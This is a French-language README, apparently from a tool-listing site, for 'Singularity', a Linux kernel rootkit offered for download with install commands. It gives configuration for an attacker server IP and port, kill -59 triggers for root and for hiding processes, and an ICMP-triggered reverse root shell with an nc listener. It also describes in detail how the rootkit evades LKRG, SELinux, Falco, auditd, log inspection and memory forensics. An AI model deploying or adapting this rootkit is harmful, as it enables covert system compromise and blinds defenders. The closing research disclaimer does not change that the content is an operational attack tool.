
Rootkit noyau Linux furtif (LKM) pour les noyaux 6.x avec masquage avancé des processus/réseau, élévation de privilèges et contournement complet des outils de sécurité eBPF, LKRG, SELinux et de la forensique mémoire.
« Allons-nous donner un peu de travail aux experts médico-légaux ? »
Ce projet a été inspiré par une femme très spéciale pour moi : Mocinha
Singularity est un puissant rootkit modulaire pour noyau Linux (LKM) conçu pour les noyaux modernes 6.x. Il offre des capacités de furtivité complètes grâce au hooking avancé d'appels système via l'infrastructure ftrace.
Article de recherche complet (version obsolète) : Singularity: A Final Boss Linux Kernel Rootkit
Étude de cas sur l'évasion EDR : Bypassing Elastic EDR with Singularity
Vidéo POC : Singularity vs outils de sécurité eBPF : Singularity vs eBPF security tools
Contourner la sécurité eBPF avec les hooks de Singularity : Breaking eBPF
Singularity est un rootkit sophistiqué qui opère au niveau du noyau, offrant :
/sys/fs/cgroup/*/cgroup.procscd /dev/shm git clone https://github.com/MatheuZSecurity/Singularity cd Singularity sudo bash setup.sh cd ..
Voilà. Le module automatiquement:
- Se cache de lsmod, /proc/modules, /sys/module
- Efface les drapeaux de souillure du noyau
- Filtre les chaînes sensibles de dmesg, journalctl -k, klogctl
- Commence à protéger vos fichiers et processus cachés
### Notes importantes
**Le module se cache automatiquement après le chargement**
**Il n'y a pas de fonctionnalité de déchargement - un redémarrage est nécessaire pour le supprimer**
**Testez d'abord dans une VM - ne peut pas être supprimé sans redémarrer**
## Configuration
### Définissez votre IP et port du serveur
**Éditez `include/core.h`:**```c
#define YOUR_SRV_IP "192.168.1.100" // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if needed
Modifier modules/icmp.c:```c
#define SRV_PORT "8081" // Change this to your desired port
**Éditer `modules/bpf_hook.c`:**```c
#define HIDDEN_PORT 8081 // Must match SRV_PORT
Modifier modules/hiding_tcp.c:```c
#define PORT 8081 // Must match SRV_PORT
**Important** : Toutes les définitions de ports doivent correspondre pour un masquage réseau correct et le fonctionnement de la reverse shell ICMP.
## Utilisation
### Masquer les processus```bash
# Hide current shell
kill -59 $$
# Hide specific process
kill -59 <PID>
Process will be invisible to ps, top, htop, /proc, and all monitoring tools. All child processes are automatically tracked and hidden.
Les fichiers correspondant à vos motifs configurés sont automatiquement masqués :```bash mkdir singularity echo "secret" > singularity/data.txt
ls -la | grep singularity
cat singularity/data.txt
cd singularity
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/13713f834a730a67b38b024c092d77eb111a7d38e2fa0ac16a8f36ffd3506f90.png">
</p>
### Devenir Root
**Méthode basée sur les signaux:**```bash
kill -59 $$
id # uid=0(root)
Les connexions sur votre port configuré (par défaut : 8081) sont automatiquement masquées :```bash nc -lvnp 8081
ss -tulpn | grep 8081 # (no output) netstat -tulpn | grep 8081 # (no output) lsof -i :8081 # (no output) cat /proc/net/nf_conntrack | grep 8081 # (no output)
ss -tapen | grep 8081 # (no output) conntrack -L | grep 8081 # (no output)
Les paquets sont abandonnés au niveau du socket brut (tpacket_rcv) et cachés de :
- /proc/net/* interfaces (tcp, tcp6, udp, udp6)
- /proc/net/nf_conntrack
- requêtes Netlink SOCK_DIAG (utilisées par ss, lsof)
- messages Netlink NETFILTER/conntrack (utilisés par l'outil conntrack)
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/a77a916efc8ee8b9091b3a0ef3acfde44eff570bc022477a3906fac1f623993f.png">
</p>
### ICMP Reverse Shell
Déclenchez un shell inversé caché à distance avec contournement automatique de SELinux :
**1. Démarrer l'écouteur :**```bash
nc -lvnp 8081 # Use your configured port
2. Envoyer le déclencheur ICMP :```bash sudo python3 scripts/trigger.py <target_ip>
**3. Recevoir un shell root** (automatiquement caché avec tous les processus enfants, le mode enforcing de SELinux contourné s'il est actif)
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/6d501d17287ba7f674b766dd25b281d2b26d9f420baa3bbc5a9cc9863db541fc.png">
</p>
## Mécanismes de protection
### Protection du contrôle Ftrace
Toutes les tentatives de désactiver ftrace sont silencieusement interceptées et bloquées :```bash
echo 0 > /proc/sys/kernel/ftrace_enabled # Appears successful but does nothing
Protected syscalls: write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter (avec mise en cache intelligente par PID)
Le module bpf_hook.c implémente un système anti-détection sophistiqué contre les outils de sécurité basés sur eBPF. Plutôt que de bloquer complètement les appels système BPF (ce qui constituerait une empreinte de détection), il filtre sélectivement les données au niveau du noyau pour rendre les processus et connexions cachés invisibles aux programmes eBPF.
Stratégie : Intercepter les fonctions de collecte et de rapport de données utilisées par les programmes eBPF, et non l'appel système BPF lui-même. Cela permet aux outils eBPF légitimes de fonctionner normalement tout en les empêchant de voir les ressources cachées.
Ressources protégées :
Points d'interception :
Cette approche neutralise les outils de sécurité eBPF sans déclencher d'alertes qui surviendraient si les opérations BPF étaient complètement bloquées.
Protection contre le contournement io_uring dans les tentatives ftrace_enabled et tracing_on avec mise en cache intelligente (cache de 1 seconde par PID pour éviter des analyses de processus répétées et réduire la surcharge)
Filtrage en temps réel des chaînes sensibles de toutes les interfaces de journal du noyau :
Mots-clés filtrés : taint, journal, singularity, Singularity, matheuz, zer0t, kallsyms_lookup_name, obliviate, hook, hooked_, constprop, clear_taint, ftrace_helper, fh_install, fh_remove
Note : Les messages d'audit pour les PID cachés sont abandonnés au niveau netlink avec suivi des statistiques (get_blocked_audit_count, get_total_audit_count)
Singularity accroche l'appel système write pour détecter et filtrer la sortie des outils d'analyse forensique disque :
Fonctionnement :
/dev/sda, /dev/nvme0n1, etc)debugfs /dev/sda3 -R 'ls -l /home/user/singularity'
**Modèles détectés :**
- `debugfs:` préfixe
- Listes d'inodes avec parenthèses
- `Inode count:`, `Block count:`, `Filesystem volume name:`
- `Filesystem UUID:`, `e2fsck`, `Inode:`
### Implémentation du masquage des processus
Masquage complet des appels système et des interfaces du noyau :
- /proc/[pid]/* (openat, readlinkat bloqués)
- getdents, getdents64 (listage des répertoires filtré)
- stat, lstat, statx, newfstatat (métadonnées masquées)
- kill avec signal 0 (retourne ESRCH)
- getsid, getpgid, getpgrp (retourne ESRCH)
- sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval (retourne ESRCH)
- getpriority (retourne ESRCH)
- sysinfo (compteur de processus ajusté)
- pidfd_open (retourne ESRCH)
- requêtes netlink TaskStats (retourne ESRCH)
- PID des cgroups filtrés depuis cgroup.procs
Les processus enfants sont automatiquement suivis via le hook du tracepoint sched_process_fork.
### Contournement de LKRG
Singularity implémente une évasion complète contre Linux Kernel Runtime Guard :
**Vérifications contournées :**
- Validation des informations d'identification du processus (p_cmp_creds)
- Intégrité de la structure de tâche (p_cmp_tasks)
- Validation de l'intégrité du flux de contrôle (p_ed_pcfi_validate_sp, p_ed_enforce_pcfi)
- Vérifications d'intégrité du noyau (p_check_integrity)
- Sous-système de détection d'exploits (p_exploit_detection_init)
- Suivi des helpers en mode utilisateur (p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry)
- Dump et énumération des tâches (p_dump_task_f, ed_task_add)
- Interception du gestionnaire kprobe ftrace
**Fonctionnalités :**
- Détection automatique de LKRG et installation de hooks
- Vérification de la lignée des processus (masque des arbres de processus entiers jusqu'à 64 niveaux de profondeur)
- Contournement UMH pour les opérations de reverse shell
- Système de notification de module pour détecter le chargement de LKRG
Les processus masqués sont invisibles à tous les mécanismes de vérification d'intégrité de LKRG.
### Contournement de Falco
Singularity implémente un système de défense anti-EDR complet qui empêche les outils de sécurité basés sur eBPF de détecter les processus masqués et les connexions réseau. La protection fonctionne en interceptant les fonctions du noyau que les programmes eBPF utilisent pour collecter et rapporter des données.
**Protégé contre :**
- Falco (surveillance de la sécurité à l'exécution)
- Tracee (traçage de sécurité)
- bpftool et ss avec backend BPF
**Interception multicouche :**
1. **Filtrage des itérateurs** (bpf_iter_run_prog)
- Filtre les sockets sur les ports masqués des itérateurs TCP/UDP
- Masque les processus et leurs enfants des itérateurs de tâches
- Empêche la détection via `ss` et les outils d'énumération de processus
2. **Blocage des événements du ringbuffer** (bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit)
- Détecte les structures d'événements Falco en analysant le format de l'en-tête
- Bloque l'allocation, la soumission et la sortie d'événements pour les PID masqués
- Empêche les événements d'appels système d'atteindre l'agent Falco en espace utilisateur
3. **Manipulation des maps BPF** (bpf_map_lookup_elem, bpf_map_update_elem)
- Retourne NULL lorsque eBPF recherche des PID masqués dans les maps
- Supprime silencieusement les insertions dans les maps où la clé est un PID masqué
- Empêche les outils de sécurité eBPF de suivre les processus masqués
4. **Suppression des événements perf** (perf_event_output, perf_trace_run_bpf_submit)
- Bloque la soumission d'événements basés sur perf depuis les processus masqués
- Empêche les outils eBPF hérités de recevoir des données de trace
5. **Filtrage des fichiers seq** (bpf_seq_write, bpf_seq_printf)
- Analyse les données de sortie à la recherche de PID masqués avant l'écriture
- Empêche les fuites via les interfaces /proc utilisées par les itérateurs eBPF
6. **Contrôle d'exécution des programmes** (__bpf_prog_run)
- Bloque l'exécution du programme eBPF lorsqu'il s'exécute dans le contexte d'un processus masqué
- Empêche toute surveillance basée sur eBPF des internes des processus masqués
**Masquage des sockets et connexions :**
- Met en cache l'adresse IP masquée pour les performances
- Filtre les sockets en fonction du port configuré et de l'IP configurée
- Masque les connexions IPv4 et IPv6
- Fonctionne au niveau de l'itérateur (avant que les données n'atteignent les programmes eBPF)
**Suivi de la lignée des processus :**
- Trace la chaîne du processus parent jusqu'à 10 niveaux de profondeur
- Masque automatiquement tous les descendants des processus masqués
- Assure que les processus enfants créés après le masquage restent invisibles
Les processus et connexions masqués ne génèrent aucun événement visible par les outils de sécurité eBPF.
## Outils de sécurité contournés
**Surveillance des processus** : ps, top, htop, atop, pidof
**Système de fichiers** : ls, find, locate, stat, lstat, readlink, tree
**Forensique de disque** : debugfs, e2fsck (sortie filtrée via hook d'écriture)
**Forensique mémoire** : Volatility, crash, gdb (via filtrage de /proc/kcore)
**Réseau** : netstat, ss, lsof, tcpdump, wireshark, conntrack, nload, iftop, /proc/net/*
**Journaux et traces** : dmesg, journalctl, klogctl, strace, ltrace, ftrace, perf
**Détecteurs de rootkits** : unhide, chkrootkit, rkhunter, OSSEC
**Détection de modules** : lsmod, modinfo, /sys/module, /proc/modules, kmod
**Sécurité du noyau** : LKRG (Linux Kernel Runtime Guard)
**Outils de sécurité eBPF** :
- Falco (surveillance de la sécurité à l'exécution)
- Tracee (traçage de sécurité)
- bpftrace, bpftool (lorsqu'ils sont utilisés pour la surveillance)
**EDR/Surveillance** : moniteurs basés sur io_uring, certaines solutions EDR Linux, auditd
## Hooks d'appels système
| Appel système/Fonction | Module | Objectif |
|---------|--------|---------|
| getdents, getdents64 | hiding_directory.c | Filtrer les entrées des répertoires, masquer les PID |
| stat, lstat, newstat, newlstat, statx, newfstatat | hiding_stat.c | Masquer les métadonnées des fichiers, ajuster nlink |
| getpriority | hiding_stat.c | Masquer les requêtes de priorité pour les PID masqués |
| openat | open.c | Bloquer l'accès à /proc/[pid] masqué |
| readlinkat | hiding_readlink.c | Bloquer la résolution des liens symboliques |
| chdir | hiding_chdir.c | Empêcher le cd dans les répertoires masqués |
| read, pread64, readv, preadv | clear_taint_dmesg.c | Filtrer les journaux du noyau, kcore, kallsyms, PID des cgroups, nf_conntrack |
| do_syslog | clear_taint_dmesg.c | Filtrer le tampon en anneau du noyau klogctl()/syslog() |
| sched_debug_show | clear_taint_dmesg.c | Filtrer la sortie de débogage de l'ordonnanceur |
| write, writev, pwrite64, pwritev, pwritev2 | hooks_write.c | Bloquer le contrôle ftrace + filtrer la forensique de disque + filtrer la sortie journalctl |
| sendfile, sendfile64, copy_file_range | hooks_write.c | Bloquer les copies de fichiers vers des fichiers protégés |
| splice, vmsplice, tee | hooks_write.c | Bloquer les écritures basées sur les pipes vers des fichiers protégés |
| io_uring_enter | hooks_write.c | Bloquer le contournement asynchrone I/O avec mise en cache des PID |
| kill | become_root.c | Déclencheur root + masquer les processus |
| getsid, getpgid, getpgrp | become_root.c | Retourne ESRCH pour les PID masqués |
| sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval | become_root.c | Retourne ESRCH pour les PID masqués |
| sysinfo | become_root.c | Ajuste le nombre de processus |
| pidfd_open | become_root.c | Retourne ESRCH pour les PID masqués |
| tcp4_seq_show, tcp6_seq_show | hiding_tcp.c | Masquer les connexions TCP de /proc/net |
| udp4_seq_show, udp6_seq_show | hiding_tcp.c | Masquer les connexions UDP de /proc/net |
| tpacket_rcv | hiding_tcp.c | Supprimer les paquets au niveau des sockets brutes |
| recvmsg, recvfrom | audit.c | Filtrer les messages netlink SOCK_DIAG et NETFILTER |
| netlink_unicast | audit.c | Supprimer les messages d'audit pour les PID masqués |
| audit_log_start | audit.c | Bloquer la création de journaux d'audit pour les processus masqués |
| bpf | bpf_hook.c | Filtrer les opérations eBPF pour les PID masqués |
| bpf_iter_run_prog | bpf_hook.c | Masquer les processus masqués des itérateurs BPF |
| bpf_seq_write, bpf_seq_printf | bpf_hook.c | Filtrer la sortie des fichiers seq BPF |
| bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit | bpf_hook.c | Filtrer les événements Falco via le ringbuffer |
| bpf_map_lookup_elem, bpf_map_update_elem | bpf_hook.c | Filtrer les opérations sur les maps BPF |
| perf_event_output, perf_trace_run_bpf_submit | bpf_hook.c | Filtrer les événements perf pour les processus masqués |
| __bpf_prog_run | bpf_hook.c | Filtrer l'exécution des programmes BPF |
| icmp_rcv | icmp.c | Reverse shell déclenché par ICMP avec contournement SELinux |
| taskstats_user_cmd | task.c | Bloquer les requêtes TaskStats pour les PID masqués |
| sched_process_fork (tracepoint) | trace.c | Suivre les processus enfants |
| kprobe_ftrace_handler | lkrg_bypass.c | Contourner la détection kprobe de LKRG |
| p_cmp_creds, p_cmp_tasks | lkrg_bypass.c | Contourner les vérifications d'identification de LKRG |
| p_ed_pcfi_validate_sp, p_ed_enforce_pcfi | lkrg_bypass.c | Contourner la validation CFI de LKRG |
| p_check_integrity | lkrg_bypass.c | Contourner les vérifications d'intégrité de LKRG |
| p_dump_task_f, ed_task_add | lkrg_bypass.c | Se masquer de l'énumération des tâches de LKRG |
| p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry | lkrg_bypass.c | Contourner le suivi UMH de LKRG |
| p_exploit_detection_init | lkrg_bypass.c | Contourner la détection d'exploits de LKRG |
| tainted_mask (kthread) | reset_tainted.c | Effacer les indicateurs de "taint" du noyau |
| module_hide_current | hide_module.c | Supprimer des listes de modules et de sysfs |
**Support multi-architecture** : x86_64 (`__x64_sys_*`) et ia32 (`__ia32_sys_*`, `__ia32_compat_sys_*`)
## Versions de noyau testées
| Version du noyau | Distribution | Statut | Remarques |
|---------------|--------------|--------|-------|
| 6.8.0-79-generic | Ubuntu 22.04 / 24.04 | Stable | Environnement de développement principal |
| 6.12.0-174.el10.x86_64 | CentOS Stream 10 | Stable | Noyau basé sur RHEL |
| 6.12.48+deb13-amd64 | Debian 13 (Trixie) | Stable | Noyau Debian |
| 6.17.8-300.fc43.x86_64 | Fedora 43 | Stable | Contournement de SELinux en mode enforcing validé |
| 6.17.0-8-generic | Ubuntu 25.10 | Stable | Noyau générique plus récent, entièrement fonctionnel |
| 6.14.0-37-generic | Ubuntu 24.04 | Stable | Contournement de LKRG et Falco validé |
| 6.12.25-amd64 | Kali Linux | Stable | Kali 6.12.25-1kali1 |
## L'intrigue
Malheureusement pour certains...
Même avec tous ces filtres, protections et hooks, il existe encore des moyens de détecter ce rootkit.
Mais si vous êtes un bon analyste forensique, un professionnel DFIR ou un chercheur en malwares, je vous laisse le découvrir par vous-même.
Je ne vais pas corriger cela, car ce sera beaucoup plus OP ;)
## Crédits
**Singularity** a été créé par **MatheuZSecurity** (Matheus Alves)
- LinkedIn: [mathsalves](https://www.linkedin.com/in/mathsalves/)
- Discord: `kprobe`
**Rejoignez les chercheurs en rootkits** : Discord - [https://discord.gg/66N5ZQppU7](https://discord.gg/66N5ZQppU7)
### Références de code
- [fuxSocy](https://github.com/iurjscsi1101500/fuxSocy/tree/main)
- [Adrishya](https://github.com/malefax/Adrishya/blob/main/Adrishya.c#L158)
- [MatheuZSecurity/Rootkit](https://github.com/MatheuZSecurity/Rootkit)
### Inspiration pour la recherche
- [KoviD](https://github.com/carloslack/KoviD)
- [Basilisk](https://github.com/lil-skelly/basilisk)
- [GOAT Diamorphine rootkit](https://github.com/m0nad/Diamorphine)
## Contribution
- Soumettre des pull requests pour des améliorations
- Signaler des bugs via les issues GitHub
- Suggérer de nouvelles techniques d'évasion
- Partager des méthodes de détection (pour la recherche)
**Vous avez trouvé un bug ?** Ouvrez une issue ou contactez-moi sur Discord : `kprobe`
**À DES FINS ÉDUCATIVES ET DE RECHERCHE UNIQUEMENT**
Singularity a été créé en tant que projet de recherche pour explorer les limites des techniques de furtivité au niveau du noyau. Le but est de répondre à une question : **"Jusqu'où un rootkit peut-il se cacher s'il parvient à s'infiltrer et à se charger dans un système ?"**
Ce projet existe pour :
- Repousser les limites de la recherche en sécurité offensive
- Aider les défenseurs à comprendre ce à quoi ils font face
- Fournir une ressource d'apprentissage sur les internes du noyau et les techniques d'évasion
- Contribuer à la base de connaissances de la communauté de la sécurité
**Je ne suis pas responsable de toute utilisation abusive de ce logiciel.** Si vous choisissez d'utiliser Singularity à des fins malveillantes, c'est votre responsabilité. Cet outil est fourni tel quel uniquement pour la recherche, l'éducation et les tests de sécurité autorisés.
Testez uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite. L'accès non autorisé à des systèmes informatiques est illégal dans la plupart des juridictions.
**Soyez un chercheur, pas un criminel.**
| Interface | Hook | Statut |
|---|
dmesg | hook de lecture sur /proc/kmsg | Filtré |
journalctl -k | hook d'écriture (filtrage de sortie) | Filtré |
klogctl() / syslog() | hook do_syslog | Filtré |
/sys/kernel/debug/tracing/* | hook de lecture | Filtré |
/var/log/kern.log, syslog, auth.log | hook de lecture | Filtré |
/proc/kallsyms, /proc/kcore, /proc/vmallocinfo | hook de lecture | Filtré |
/proc/net/nf_conntrack | hook de lecture | Filtré |